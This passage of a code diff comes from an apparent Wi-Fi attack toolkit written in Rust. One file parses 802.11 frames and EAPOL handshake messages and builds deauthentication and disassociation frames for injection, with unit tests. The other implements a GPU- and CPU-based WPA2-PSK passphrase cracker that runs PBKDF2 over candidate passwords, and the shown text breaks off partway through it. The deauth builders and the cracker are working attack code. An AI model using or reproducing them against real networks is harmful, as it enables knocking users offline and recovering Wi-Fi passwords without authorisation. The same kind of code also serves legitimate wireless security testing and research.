238+ (true, true) => (mac_at(f, 10)?, true),
239+ };
240+ Some((bssid, ap_sender, eapol))
241+}
242+
243+// ---------------------------------------------------------------------------
244+// EAPOL-Key
245+// ---------------------------------------------------------------------------
246+
247+pub struct EapolKey<'a> {
248+ pub key_info: u16, // raw key info field (BE order as on wire)
249+ pub key_ver: u8, // bits 0..3 of key_info (descriptor version)
250+ pub install: bool, // bit6
251+ pub key_ack: bool, // bit7
252+ pub key_mic: bool, // bit8
253+ pub secure: bool, // bit9
254+ pub replay_counter: u64,
255+ pub nonce: [u8; 32],
256+ pub mic: [u8; 16], // raw mic field (or RSN IE scan for pmkid)
257+ pub key_data: &'a [u8], // RSN IE / KDEs (PMKID: 00-0f-ac:4)
258+ pub raw: &'a [u8], // full eapol frame starting at version byte
259+}
260+
261+/// Parse an EAPOL-Key frame. Frame offsets (descriptor body starts at 4):
262+/// key_info 5..7, replay 9..17, nonce 17..49, iv 49..65, rsc 65..73,
263+/// id 73..81, mic 81..97, key_data_len 97..99, key_data 99..
264+pub fn parse_eapol_key(eapol: &[u8]) -> Option<EapolKey<'_>> {
265+ // eapol header(4) + 95-byte key descriptor fixed part = 99 minimum
266+ if eapol.len() < 99 {
267+ return None;
268+ }
269+ if eapol[1] != 3 {
270+ return None; // not an EAPOL-Key packet
271+ }
272+ let key_info = u16::from_be_bytes([eapol[5], eapol[6]]);
273+ let key_data_len = u16::from_be_bytes([eapol[97], eapol[98]]) as usize;
274+ let key_data = &eapol[99..eapol.len().min(99 + key_data_len)];
275+ Some(EapolKey {
276+ key_info,
277+ key_ver: (key_info & 0x7) as u8,
278+ install: key_info & (1 << 6) != 0,
279+ key_ack: key_info & (1 << 7) != 0,
280+ key_mic: key_info & (1 << 8) != 0,
281+ secure: key_info & (1 << 9) != 0,
282+ replay_counter: u64::from_be_bytes(eapol[9..17].try_into().ok()?),
283+ nonce: eapol[17..49].try_into().ok()?,
284+ mic: eapol[81..97].try_into().ok()?,
285+ key_data,
286+ raw: eapol,
287+ })
288+}
289+
290+/// 1..=4 4way message number derived from flags, 0 if not an EAPOL-Key.
291+pub fn eapol_4way_msg(k: &EapolKey) -> u8 {
292+ // descriptor type 2 = RSN key, 254 = legacy WPA key
293+ if !(k.raw.len() > 4 && (k.raw[4] == 2 || k.raw[4] == 254)) {
294+ return 0;
295+ }
296+ if k.key_ack && !k.key_mic {
297+ 1 // M1: ack, no mic
298+ } else if k.key_ack && k.key_mic && k.install {
299+ 3 // M3: ack+mic+install
300+ } else if !k.key_ack && k.key_mic && k.secure {
301+ 4 // M4: mic+secure, no ack
302+ } else if !k.key_ack && k.key_mic && !k.secure {
303+ 2 // M2: mic, no ack, not secure yet
304+ } else {
305+ 0
306+ }
307+}
308+
309+// ---------------------------------------------------------------------------
310+// frame builders (full 802.11 frame, NO radiotap — caller prepends INJECT_HDR)
311+// ---------------------------------------------------------------------------
312+
313+fn hdr3(fc_lo: u8, addr1: &MacAddr, addr2: &MacAddr, addr3: &MacAddr, seq: u16) -> Vec<u8> {
314+ let mut v = Vec::with_capacity(24);
315+ v.extend_from_slice(&[fc_lo, 0x00]);
316+ v.extend_from_slice(&INJECT_DURATION.to_le_bytes());
317+ v.extend_from_slice(&addr1.0);
318+ v.extend_from_slice(&addr2.0);
319+ v.extend_from_slice(&addr3.0);
320+ v.extend_from_slice(&(seq << 4).to_le_bytes()); // seq control: seq in bits 4..16
321+ v
322+}
323+
324+pub fn build_deauth(ap: &MacAddr, target: &MacAddr, reason: u16) -> Vec<u8> {
325+ let mut v = hdr3(0xC0, target, ap, ap, 0);
326+ v.extend_from_slice(&reason.to_le_bytes());
327+ v
328+}
329+
330+pub fn build_disassoc(ap: &MacAddr, target: &MacAddr, reason: u16) -> Vec<u8> {
331+ let mut v = hdr3(0xA0, target, ap, ap, 0);
332+ v.extend_from_slice(&reason.to_le_bytes());
333+ v
334+}
335+
336+/// Open-system authentication request sta → ap (algo 0, transaction 1).
337+pub fn build_auth_open(ap: &MacAddr, sta: &MacAddr, seq: u16) -> Vec<u8> {
338+ let mut v = hdr3(0xB0, ap, sta, ap, seq);
339+ v.extend_from_slice(&0u16.to_le_bytes()); // auth algorithm: open system
340+ v.extend_from_slice(&1u16.to_le_bytes()); // transaction sequence
341+ v.extend_from_slice(&0u16.to_le_bytes()); // status
342+ v
343+}
344+
345+/// Association request sta → ap: capability + listen interval + SSID IE.
346+pub fn build_assoc_req(ap: &MacAddr, sta: &MacAddr, ssid: &[u8]) -> Vec<u8> {
347+ let mut v = hdr3(0x00, ap, sta, ap, 0);
348+ v.extend_from_slice(&0x0431u16.to_le_bytes()); // capability (ESS | short preamble ...)
349+ v.extend_from_slice(&10u16.to_le_bytes()); // listen interval
350+ v.push(IE_SSID);
351+ v.push(ssid.len().min(32) as u8);
352+ v.extend_from_slice(&ssid[..ssid.len().min(32)]);
353+ v
354+}
355+
356+// ---------------------------------------------------------------------------
357+// tests
358+// ---------------------------------------------------------------------------
359+
360+#[cfg(test)]
361+mod tests {
362+ use super::*;
363+
364+ const AP: MacAddr = MacAddr([0x24, 0x65, 0x11, 0xaa, 0xbb, 0xcc]);
365+ const STA: MacAddr = MacAddr([0x9c, 0xef, 0xd5, 0x11, 0x22, 0x33]);
366+
367+ fn ie(id: u8, body: &[u8]) -> Vec<u8> {
368+ let mut v = vec![id, body.len() as u8];
369+ v.extend_from_slice(body);
370+ v
371+ }
372+
373+ fn rsn_ie(akm_type: u8) -> Vec<u8> {
374+ // version 1, group CCMP, 1×pairwise CCMP, 1×AKM, rsn caps 0
375+ let mut b = vec![
376+ 0x01, 0x00, // version
377+ 0x00, 0x0f, 0xac, 0x04, // group cipher CCMP
378+ 0x01, 0x00, // pairwise count
379+ 0x00, 0x0f, 0xac, 0x04, // pairwise CCMP
380+ 0x01, 0x00, // akm count
381+ 0x00, 0x0f, 0xac, akm_type, // PSK=2 / SAE=8
382+ 0x00, 0x00, // rsn capabilities
383+ ];
384+ ie(IE_RSN, &b.split_off(0))
385+ }
386+
387+ /// FCS-free beacon as it would appear after radiotap is stripped:
388+ /// SSID "parafin", channel 6, WPA2 (RSN, AKM PSK), privacy bit set.
389+ fn parafin_beacon() -> Vec<u8> {
390+ let mut v = vec![0x80, 0x00]; // FC: beacon
391+ v.extend_from_slice(&[0x00, 0x00]); // duration
392+ v.extend_from_slice(&MacAddr::BROADCAST.0); // addr1
393+ v.extend_from_slice(&AP.0); // addr2 = transmitter
394+ v.extend_from_slice(&AP.0); // addr3 = bssid
395+ v.extend_from_slice(&[0x00, 0x00]); // seq
396+ v.extend_from_slice(&[0x00; 8]); // timestamp
397+ v.extend_from_slice(&100u16.to_le_bytes()); // beacon interval
398+ v.extend_from_slice(&0x0411u16.to_le_bytes()); // capability: ESS | privacy | short preamble
399+ v.extend_from_slice(&ie(IE_SSID, b"parafin"));
400+ v.extend_from_slice(&ie(1, &[0x82, 0x84, 0x8b, 0x96])); // supported rates
401+ v.extend_from_slice(&ie(IE_DS_PARAM, &[6])); // channel 6
402+ v.extend_from_slice(&ie(5, &[0x00, 0x01, 0x00, 0x00])); // TIM
403+ v.extend_from_slice(&rsn_ie(2));
404+ v
405+ }
406+
407+ #[test]
408+ fn parafin_beacon_parses_to_wpa2_ch6() {
409+ let info = parse_beacon_or_probe(&parafin_beacon()).expect("beacon parses");
410+ assert_eq!(info.bssid, AP);
411+ assert_eq!(info.transmitter, AP);
412+ assert_eq!(info.ssid.as_deref(), Some("parafin"));
413+ assert_eq!(info.channel, Some(6));
414+ assert_eq!(info.security, Security::Wpa2);
415+ }
416+
417+ #[test]
418+ fn beacon_security_matrix() {
419+ // WPA3: same beacon but SAE AKM
420+ let mut f = parafin_beacon();
421+ let rsn_at = f.len() - rsn_ie(8).len();
422+ f.splice(rsn_at.., rsn_ie(8));
423+ assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Wpa3);
424+
425+ // WPA: vendor IE, no RSN
426+ let mut hdr_fixed = parafin_beacon();
427+ hdr_fixed.truncate(36);
428+ hdr_fixed.extend_from_slice(&ie(IE_SSID, b"legacy"));
429+ hdr_fixed.extend_from_slice(&ie(IE_VENDOR, &[0x00, 0x50, 0xf2, 0x01, 0x01, 0x00]));
430+ assert_eq!(parse_beacon_or_probe(&hdr_fixed).unwrap().security, Security::Wpa);
431+
432+ // WEP: privacy bit only
433+ let mut f = parafin_beacon();
434+ f.truncate(36);
435+ f.extend_from_slice(&ie(IE_SSID, b"oldnet"));
436+ assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Wep);
437+
438+ // Open: clear privacy bit
439+ f[34] = 0x01;
440+ f[35] = 0x04;
441+ assert_eq!(parse_beacon_or_probe(&f).unwrap().security, Security::Open);
442+ }
443+
444+ #[test]
445+ fn hidden_ssid_and_truncated_safe() {
446+ let mut f = parafin_beacon();
447+ // zero-length SSID IE → None (hidden)
448+ let ssid_at = 36;
449+ f.drain(ssid_at..ssid_at + 2 + 7);
450+ f.splice(ssid_at..ssid_at, vec![IE_SSID, 0]);
451+ let info = parse_beacon_or_probe(&f).unwrap();
452+ assert_eq!(info.ssid, None);
453+ assert_eq!(info.channel, Some(6));
454+ // truncation inside an IE: no panic, best-effort parse
455+ for cut in 0..f.len() {
456+ let _ = parse_beacon_or_probe(&f[..cut]);
457+ let _ = parse_probe_req(&f[..cut]);
458+ let _ = parse_deauth(&f[..cut]);
459+ let _ = data_endpoints(&f[..cut]);
460+ let _ = parse_eapol(&f[..cut]);
461+ let _ = parse_eapol_key(&f[..cut]);
462+ }
463+ }
464+
465+ #[test]
466+ fn build_parse_deauth_roundtrip() {
467+ let f = build_deauth(&AP, &STA, 7);
468+ assert_eq!(f[0], 0xC0);
469+ assert_eq!(u16le(&f, 2), Some(314));
470+ assert_eq!(parse_deauth(&f), Some((AP, STA)));
471+ assert_eq!(u16le(&f, 24), Some(7)); // reason
472+
473+ let d = build_disassoc(&AP, &STA, 8);
474+ assert_eq!(d[0], 0xA0);
475+ assert_eq!(parse_deauth(&d), Some((AP, STA)));
476+ }
477+
478+ #[test]
479+ fn build_auth_and_assoc() {
480+ let a = build_auth_open(&AP, &STA, 42);
481+ assert_eq!(a[0], 0xB0);
482+ assert_eq!(u16le(&a, 2), Some(314));
483+ assert_eq!(mac_at(&a, 16), Some(AP)); // addr3 bssid = ap
484+ assert_eq!(u16le(&a, 24), Some(0)); // open system
485+ assert_eq!(u16le(&a, 26), Some(1)); // transaction 1
486+ assert_eq!(u16le(&a, 22), Some(42 << 4)); // seq number encoded
487+
488+ let r = build_assoc_req(&AP, &STA, b"parafin");
489+ assert_eq!(r[0], 0x00);
490+ assert_eq!(r[28], IE_SSID);
491+ assert_eq!(r[29], 7);
492+ assert_eq!(&r[30..], b"parafin");
493+ }
494+
495+ #[test]
496+ fn probe_req_parsed() {
497+ let mut f = hdr3(0x40, &MacAddr::BROADCAST, &STA, &MacAddr::BROADCAST, 0);
498+ f.extend_from_slice(&ie(IE_SSID, b"parafin"));
499+ let (sta, ssid) = parse_probe_req(&f).unwrap();
500+ assert_eq!(sta, STA);
501+ assert_eq!(ssid.as_deref(), Some("parafin"));
502+
503+ // broadcast probe: zero-len SSID → None
504+ let mut b = hdr3(0x40, &MacAddr::BROADCAST, &STA, &MacAddr::BROADCAST, 0);
505+ b.extend_from_slice(&ie(IE_SSID, b""));
506+ assert_eq!(parse_probe_req(&b), Some((STA, None)));
507+
508+ // beacon is not a probe request
509+ assert!(parse_probe_req(&parafin_beacon()).is_none());
510+ }
511+
512+ /// Minimal EAPOL-Key frame with the given key_info (BE), filled otherwise.
513+ fn eapol_key(key_info: u16) -> Vec<u8> {
514+ let mut v = vec![2u8, 3, 0, 95]; // version 2, type KEY, body len
515+ v.push(2); // descriptor type: RSN
516+ v.extend_from_slice(&key_info.to_be_bytes());
517+ v.extend_from_slice(&[0; 16 + 8 - 2 - 2 - 1]); // key_len..replay start pad
518+ v.truncate(9);
519+ v.extend_from_slice(&1u64.to_be_bytes()); // replay counter
520+ v.extend_from_slice(&[0x11; 32]); // nonce
521+ v.extend_from_slice(&[0; 16 + 8 + 8]); // iv + rsc + id
522+ v.extend_from_slice(&[0x22; 16]); // mic
523+ v.extend_from_slice(&[0, 0]); // key_data_len
524+ v
525+ }
526+
527+ #[test]
528+ fn eapol_key_fields_extracted() {
529+ let ki: u16 = 2 | (1 << 7); // version 2 + ack
530+ let e = eapol_key(ki);
531+ let k = parse_eapol_key(&e).unwrap();
532+ assert_eq!(k.key_info, ki);
533+ assert_eq!(k.key_ver, 2);
534+ assert!(k.key_ack);
535+ assert!(!k.key_mic);
536+ assert_eq!(k.replay_counter, 1);
537+ assert_eq!(k.nonce, [0x11; 32]);
538+ assert_eq!(k.mic, [0x22; 16]);
539+ assert_eq!(k.key_data.len(), 0);
540+ assert_eq!(k.raw, &e[..]);
541+ }
542+
543+ #[test]
544+ fn four_way_flag_matrix() {
545+ const VER2: u16 = 2;
546+ const INSTALL: u16 = 1 << 6;
547+ const ACK: u16 = 1 << 7;
548+ const MIC: u16 = 1 << 8;
549+ const SECURE: u16 = 1 << 9;
550+
551+ let msg = |ki: u16| {
552+ let e = eapol_key(ki);
553+ let k = parse_eapol_key(&e).unwrap();
554+ eapol_4way_msg(&k)
555+ };
556+ assert_eq!(msg(VER2 | ACK), 1);
557+ assert_eq!(msg(VER2 | MIC), 2);
558+ assert_eq!(msg(VER2 | ACK | MIC | INSTALL | SECURE), 3);
559+ assert_eq!(msg(VER2 | MIC | SECURE), 4);
560+ // not a key frame flag combo → 0
561+ assert_eq!(msg(VER2), 0);
562+ }
563+
564+ #[test]
565+ fn data_frames_and_eapol_detection() {
566+ // AP → STA data frame (from_ds) carrying EAPOL
567+ let mut f = vec![0x08, 0x02];
568+ f.extend_from_slice(&[0; 2]); // duration
569+ f.extend_from_slice(&STA.0); // addr1
570+ f.extend_from_slice(&AP.0); // addr2
571+ f.extend_from_slice(&STA.0); // addr3 (DA)
572+ f.extend_from_slice(&[0; 2]); // seq
573+ f.extend_from_slice(&SNAP_EAPOL);
574+ f.extend_from_slice(&eapol_key(2 | (1 << 7))); // M1
575+
576+ assert_eq!(data_endpoints(&f), Some((AP, STA)));
577+ let (bssid, ap_sender, eap) = parse_eapol(&f).unwrap();
578+ assert_eq!(bssid, AP);
579+ assert!(ap_sender);
580+ assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 1);
581+
582+ // QoS data subtype: skip 2 extra header bytes
583+ let mut q = f.clone();
584+ q[0] = 0x88;
585+ q.splice(24..24, [0x00, 0x00]);
586+ let (bssid, ap_sender, eap) = parse_eapol(&q).unwrap();
587+ assert_eq!((bssid, ap_sender), (AP, true));
588+ assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 1);
589+
590+ // STA → AP (to_ds): bssid = addr1
591+ let mut up = vec![0x08, 0x01];
592+ up.extend_from_slice(&[0; 2]);
593+ up.extend_from_slice(&AP.0); // addr1 = bssid
594+ up.extend_from_slice(&STA.0); // addr2 = sta
595+ up.extend_from_slice(&STA.0); // addr3 = DA
596+ up.extend_from_slice(&[0; 2]);
597+ up.extend_from_slice(&SNAP_EAPOL);
598+ up.extend_from_slice(&eapol_key(2 | (1 << 8))); // M2
599+ assert_eq!(data_endpoints(&up), Some((AP, STA)));
600+ let (bssid, ap_sender, eap) = parse_eapol(&up).unwrap();
601+ assert_eq!((bssid, ap_sender), (AP, false));
602+ assert_eq!(eapol_4way_msg(&parse_eapol_key(eap).unwrap()), 2);
603+
604+ // WDS: addr4 present, payload shifted
605+ let mut wds = vec![0x08, 0x03];
606+ wds.extend_from_slice(&[0; 2]);
607+ wds.extend_from_slice(&AP.0); // addr1 RA
608+ wds.extend_from_slice(&AP.0); // addr2 TA
609+ wds.extend_from_slice(&STA.0); // addr3 DA
610+ wds.extend_from_slice(&[0; 2]);
611+ wds.extend_from_slice(&STA.0); // addr4 SA
612+ wds.extend_from_slice(&SNAP_EAPOL);
613+ wds.extend_from_slice(&eapol_key(2 | (1 << 7)));
614+ assert_eq!(data_endpoints(&wds), Some((AP, STA)));
615+ assert!(parse_eapol(&wds).is_some());
616+
617+ // management frame → not data
618+ assert!(parse_eapol(&parafin_beacon()).is_none());
619+ }
620+}
src/gpu.rsmodified+887 -0
@@ -0,0 +1,887 @@
1+//! GPU-accelerated WPA2-PSK cracker (wgpu compute, see pbkdf2.wgsl) plus a
2+//! CPU streaming cracker of the same shape.
3+//!
4+//! Algorithm: the host computes per candidate the SHA1 midstates for the two
5+//! HMAC pad prefixes (key = passphrase, salt = ESSID absorbed in the ipad
6+//! leg) and the first PBKDF2 outputs U1/U2 for both 20-byte blocks. The GPU
7+//! then executes the remaining 4095 chained HMAC rounds per block and emits
8+//! T1||T2 (40 bytes): PMK = T1 || T2[0..12]. PTK + MIC are derived per PMK on
9+//! the host — that is cheap relative to the 4096 HMACs it replaces. For
10+//! key_ver 3 targets the MIC is AES-CMAC (bus duty: PTK+KCK never leave the
11+//! host side of the reference implementation).
12+
13+use std::num::NonZeroU64;
14+use std::sync::Arc;
15+use std::sync::atomic::{AtomicBool, Ordering};
16+use std::time::{Duration, Instant};
17+
18+/// Pack the first 64 message bytes into the 16 FIPS SHA1 message words
19+/// (big-endian parse, per FIPS 180-1).
20+fn pack16(bytes: &[u8]) -> [u32; 16] {
21+ debug_assert!(bytes.len() >= 64);
22+ let mut out = [0u32; 16];
23+ for (i, w) in out.iter_mut().enumerate() {
24+ *w = u32::from_be_bytes([bytes[4 * i], bytes[4 * i + 1], bytes[4 * i + 2], bytes[4 * i + 3]]);
25+ }
26+ out
27+}
28+
29+use crate::crypto::{self, CrackTarget};
30+#[cfg(test)]
31+use crate::common::MacAddr;
32+
33+const BATCH: u32 = 1 << 16;
34+const WORKGROUP_SIZE: u32 = 64;
35+const ITERATIONS: u32 = 4096;
36+const U32_PER_CAND_IN: usize = 20; // ipad(5) opad(5) u1(5) u2(5)
37+const U32_PER_CAND_OUT: usize = 10; // T1(5) T2(5)
38+
39+const K: [u32; 4] = [0x5a827999, 0x6ed9eba1, 0x8f1bbcdc, 0xca62c1d6];
40+const IV: [u32; 5] = [0x67452301, 0xefcdab89, 0x98badcfe, 0x10325476, 0xc3d2e1f0];
41+
42+// ---------------------------------------------------------------------------
43+// Host-side SHA1 midstate helpers (mirror of the WGSL kernel).
44+// ---------------------------------------------------------------------------
45+
46+/// One FIPS 180-1 SHA1 compression over exactly one 64-byte block, starting
47+/// from a 5×u32 state. `block` holds the message words BE-parsed as the
48+/// standard requires; states and the running chain stay in value domain
49+/// end-to-end (this is also the WGSL kernel's domain).
50+fn compress5(state: &mut [u32; 5], block: &[u32; 16]) {
51+ let mut w = [0u32; 80];
52+ w[..16].copy_from_slice(block);
53+ for t in 16..80 {
54+ let x = w[t - 3] ^ w[t - 8] ^ w[t - 14] ^ w[t - 16];
55+ w[t] = x.rotate_left(1);
56+ }
57+ let (mut a, mut b, mut c, mut d, mut e) = (state[0], state[1], state[2], state[3], state[4]);
58+ for (t, &wt) in w.iter().enumerate() {
59+ let f = match t {
60+ 0..=19 => (b & c) | (!b & d),
61+ 20..=39 | 60..=79 => b ^ c ^ d,
62+ _ => (b & c) | (b & d) | (c & d),
63+ };
64+ let k = K[t / 20];
65+ let temp = a
66+ .rotate_left(5)
67+ .wrapping_add(f)
68+ .wrapping_add(e)
69+ .wrapping_add(k)
70+ .wrapping_add(wt);
71+ e = d;
72+ d = c;
73+ c = b.rotate_left(30);
74+ b = a;
75+ a = temp;
76+ }
77+ state[0] = state[0].wrapping_add(a);
78+ state[1] = state[1].wrapping_add(b);
79+ state[2] = state[2].wrapping_add(c);
80+ state[3] = state[3].wrapping_add(d);
81+ state[4] = state[4].wrapping_add(e);
82+}
83+
84+/// Finalize a two-block SHA1 message given the state after block 1: place
85+/// the tail, append padding/bit-length for the total (64 + tail.len()) byte
86+/// message, compress once. Returns the 5-word state (the FIPS digest words).
87+fn finalize_64(state_after_b1: &[u32; 5], tail: &[u8]) -> [u32; 5] {
88+ debug_assert!(tail.len() < 56);
89+ let total_len = (64 + tail.len()) as u64;
90+ let mut blk = [0u8; 64];
91+ blk[..tail.len()].copy_from_slice(tail);
92+ blk[tail.len()] = 0x80;
93+ blk[56..64].copy_from_slice(&(total_len * 8).to_be_bytes());
94+ let mut st = *state_after_b1;
95+ compress5(&mut st, &pack16(&blk));
96+ st
97+}
98+
99+/// First PBKDF2 block digest for a candidate: U_idx = HMAC(P, salt ||
100+/// INT32BE(idx)), using precomputed pad midstates. Inner leg message is
101+/// (P^ipad) || salt || BE32(idx) (64 + salt.len() + 4 bytes), outer leg is
102+/// (P^opad) || inner_digest (84 bytes, 672 bits).
103+fn hmac_first(ipad: &[u32; 5], opad: &[u32; 5], salt: &[u8], block_idx: u32) -> [u32; 5] {
104+ let mut tail = [0u8; 68];
105+ tail[..salt.len()].copy_from_slice(salt);
106+ tail[salt.len()..salt.len() + 4].copy_from_slice(&block_idx.to_be_bytes());
107+ let inner = finalize_64(ipad, &tail[..salt.len() + 4]);
108+
109+ let mut outer_blk = [0u32; 16];
110+ outer_blk[..5].copy_from_slice(&inner);
111+ outer_blk[5] = 0x8000_0000;
112+ outer_blk[15] = 672;
113+ let mut st = *opad;
114+ compress5(&mut st, &outer_blk);
115+ st
116+}
117+
118+/// Mirror of the WGSL `hmac_mid`: one chained HMAC round (two compresses)
119+/// over the 20-byte value `u` given the pad midstates.
120+fn hmac_midstate_host(ipad: &[u32; 5], opad: &[u32; 5], u: &[u32; 5]) -> [u32; 5] {
121+ let mut msg = [0u32; 16];
122+ msg[..5].copy_from_slice(u);
123+ msg[5] = 0x8000_0000;
124+ msg[15] = 672;
125+
126+ let mut st = *ipad;
127+ compress5(&mut st, &msg);
128+
129+ let mut outer = [0u32; 16];
130+ outer[..5].copy_from_slice(&st);
131+ outer[5] = 0x8000_0000;
132+ outer[15] = 672;
133+
134+ let mut st2 = *opad;
135+ compress5(&mut st2, &outer);
136+ st2
137+}
138+
139+/// Per-candidate kernel inputs for one passphrase.
140+fn candidate_inputs(pass: &[u8], salt: &[u8]) -> [u32; U32_PER_CAND_IN] {
141+ debug_assert!((8..=63).contains(&pass.len()));
142+
143+ let mut ipad_blk = [0x36u8; 64];
144+ let mut opad_blk = [0x5cu8; 64];
145+ for (i, &b) in pass.iter().enumerate() {
146+ ipad_blk[i] ^= b;
147+ opad_blk[i] ^= b;
148+ }
149+
150+ let mut ipad = IV;
151+ let mut opad = IV;
152+ compress5(&mut ipad, &pack16(&ipad_blk));
153+ compress5(&mut opad, &pack16(&opad_blk));
154+
155+ // U_i = HMAC(P, salt || INT32BE(i)): inner leg via the ipad midstate,
156+ // outer leg one compress over the opad midstate (also 84-byte total
157+ // message → bit length 672, same layout as the chained rounds).
158+ let u1 = hmac_first(&ipad, &opad, salt, 1);
159+ let u2 = hmac_first(&ipad, &opad, salt, 2);
160+
161+ let mut out = [0u32; U32_PER_CAND_IN];
162+ out[..5].copy_from_slice(&ipad);
163+ out[5..10].copy_from_slice(&opad);
164+ out[10..15].copy_from_slice(&u1);
165+ out[15..20].copy_from_slice(&u2);
166+ out
167+}
168+
169+/// Finish the two PBKDF2 blocks for one candidate entirely on the CPU
170+/// (reference + fallback path).
171+fn pmk_via_midstates(inputs: &[u32; U32_PER_CAND_IN]) -> [u8; 32] {
172+ let mut ipad = [0u32; 5];
173+ let mut opad = [0u32; 5];
174+ let mut u1 = [0u32; 5];
175+ let mut u2 = [0u32; 5];
176+ ipad.copy_from_slice(&inputs[..5]);
177+ opad.copy_from_slice(&inputs[5..10]);
178+ u1.copy_from_slice(&inputs[10..15]);
179+ u2.copy_from_slice(&inputs[15..20]);
180+
181+ let mut t1 = u1;
182+ let mut t2 = u2;
183+ for _ in 1..ITERATIONS {
184+ u1 = hmac_midstate_host(&ipad, &opad, &u1);
185+ for i in 0..5 {
186+ t1[i] ^= u1[i];
187+ }
188+ u2 = hmac_midstate_host(&ipad, &opad, &u2);
189+ for i in 0..5 {
190+ t2[i] ^= u2[i];
191+ }
192+ }
193+
194+ let mut pmk_bytes = [0u8; 32];
195+ for i in 0..5 {
196+ pmk_bytes[i * 4..i * 4 + 4].copy_from_slice(&t1[i].to_be_bytes());
197+ }
198+ for i in 0..3 {
199+ pmk_bytes[20 + i * 4..20 + i * 4 + 4].copy_from_slice(&t2[i].to_be_bytes());
200+ }
201+ pmk_bytes
202+}
203+
204+// ---------------------------------------------------------------------------
205+// GPU cracker
206+// ---------------------------------------------------------------------------
207+
208+pub struct GpuCracker {
209+ device: wgpu::Device,
210+ queue: wgpu::Queue,
211+ pipeline: wgpu::ComputePipeline,
212+ layout: wgpu::BindGroupLayout,
213+ name: String,
214+ batch: u32,
215+}
216+
217+impl GpuCracker {
218+ /// None when no suitable adapter/device exists (caller falls back to the
219+ /// CPU cracker).
220+ pub fn try_new() -> Option<Self> {
221+ let instance =
222+ wgpu::Instance::new(wgpu::InstanceDescriptor::new_without_display_handle());
223+ let adapter = pollster::block_on(instance.request_adapter(&wgpu::RequestAdapterOptions {
224+ power_preference: wgpu::PowerPreference::HighPerformance,
225+ force_fallback_adapter: false,
226+ compatible_surface: None,
227+ apply_limit_buckets: false,
228+ }))
229+ .ok()?;
230+ let info = adapter.get_info();
231+ let limits = adapter.limits();
232+ // Need storage buffers of BATCH × 80 B in and BATCH × 40 B out.
233+ let in_bytes = u64::from(BATCH) * (U32_PER_CAND_IN as u64) * 4;
234+ let out_bytes = u64::from(BATCH) * (U32_PER_CAND_OUT as u64) * 4;
235+ if u64::from(limits.max_storage_buffer_binding_size) < in_bytes
236+ || u64::from(limits.max_storage_buffer_binding_size) < out_bytes
237+ || limits.max_buffer_size < in_bytes.max(out_bytes)
238+ {
239+ return None;
240+ }
241+
242+ let desc = wgpu::DeviceDescriptor {
243+ label: Some("wifilab-pbkdf2"),
244+ required_features: wgpu::Features::empty(),
245+ required_limits: wgpu::Limits::default(),
246+ experimental_features: wgpu::ExperimentalFeatures::disabled(),
247+ memory_hints: wgpu::MemoryHints::Performance,
248+ trace: wgpu::Trace::Off,
249+ };
250+ let (device, queue) = pollster::block_on(adapter.request_device(&desc)).ok()?;
251+
252+ let shader = device.create_shader_module(wgpu::ShaderModuleDescriptor {
253+ label: Some("pbkdf2.wgsl"),
254+ source: wgpu::ShaderSource::Wgsl(include_str!("pbkdf2.wgsl").into()),
255+ });
256+
257+ let layout = device.create_bind_group_layout(&wgpu::BindGroupLayoutDescriptor {
258+ label: Some("pbkdf2-layout"),
259+ entries: &[
260+ // params uniform
261+ wgpu::BindGroupLayoutEntry {
262+ binding: 0,
263+ visibility: wgpu::ShaderStages::COMPUTE,
264+ ty: wgpu::BindingType::Buffer {
265+ ty: wgpu::BufferBindingType::Uniform,
266+ has_dynamic_offset: false,
267+ min_binding_size: NonZeroU64::new(16),
268+ },
269+ count: None,
270+ },
271+ // midstates in
272+ wgpu::BindGroupLayoutEntry {
273+ binding: 1,
274+ visibility: wgpu::ShaderStages::COMPUTE,
275+ ty: wgpu::BindingType::Buffer {
276+ ty: wgpu::BufferBindingType::Storage { read_only: true },
277+ has_dynamic_offset: false,
278+ min_binding_size: None,
279+ },
280+ count: None,
281+ },
282+ // outputs out
283+ wgpu::BindGroupLayoutEntry {
284+ binding: 2,
285+ visibility: wgpu::ShaderStages::COMPUTE,
286+ ty: wgpu::BindingType::Buffer {
287+ ty: wgpu::BufferBindingType::Storage { read_only: false },
288+ has_dynamic_offset: false,
289+ min_binding_size: None,
290+ },
291+ count: None,
292+ },
293+ ],
294+ });
295+
296+ let pipeline_layout = device.create_pipeline_layout(&wgpu::PipelineLayoutDescriptor {
297+ label: Some("pbkdf2-pipeline-layout"),
298+ bind_group_layouts: &[Some(&layout)],
299+ immediate_size: 0,
300+ });
301+
302+ let pipeline = device.create_compute_pipeline(&wgpu::ComputePipelineDescriptor {
303+ label: Some("pbkdf2-pipeline"),
304+ layout: Some(&pipeline_layout),
305+ module: &shader,
306+ entry_point: Some("main"),
307+ compilation_options: wgpu::PipelineCompilationOptions::default(),
308+ cache: None,
309+ });
310+
311+ Some(GpuCracker {
312+ device,
313+ queue,
314+ pipeline,
315+ layout,
316+ name: format!("{} ({:?})", info.name, info.backend),
317+ batch: BATCH,
318+ })
319+ }
320+
321+ pub fn device_name(&self) -> String {
322+ self.name.clone()
323+ }
324+
325+ /// Measured full-attack throughput for progress reporting (4096-iteration
326+ /// batches). Runs 4 batches through `pmk_batch_gpu` and returns H/s.
327+ #[cfg(test)]
328+ fn measured_hps(&self) -> Option<f64> {
329+ let pass: Vec<u8> = b"benchmk1".to_vec();
330+ let salt = b"benchmark-ssid";
331+ let mut inputs = Vec::with_capacity(self.batch as usize * U32_PER_CAND_IN);
332+ for i in 0..self.batch as usize {
333+ let mut w = pass.clone();
334+ w[0] = b'a' + (i % 26) as u8;
335+ inputs.extend_from_slice(&candidate_inputs(&w, salt));
336+ }
337+ // Warm-up batch: covers one-time SPIR-V->ISA compile & memory init.
338+ self.run_kernel(&inputs)?;
339+ const BATCHES: u32 = 8;
340+ let t0 = Instant::now();
341+ let mut ok = true;
342+ for _ in 0..BATCHES {
343+ let mut inp = inputs.clone();
344+ inp[0] = inp[0].wrapping_add(1);
345+ ok &= self.run_kernel(&inp).is_some();
346+ }
347+ if !ok {
348+ return None;
349+ }
350+ let secs = t0.elapsed().as_secs_f64();
351+ Some(self.batch as f64 * f64::from(BATCHES) / secs)
352+ }
353+
354+ /// Run one kernel batch over `inputs` (n×20 u32, on the wire as u32 LE).
355+ /// Returns the n×10 u32 output words, or None on device-lost/hang.
356+ fn run_kernel(&self, inputs: &[u32]) -> Option<Vec<u32>> {
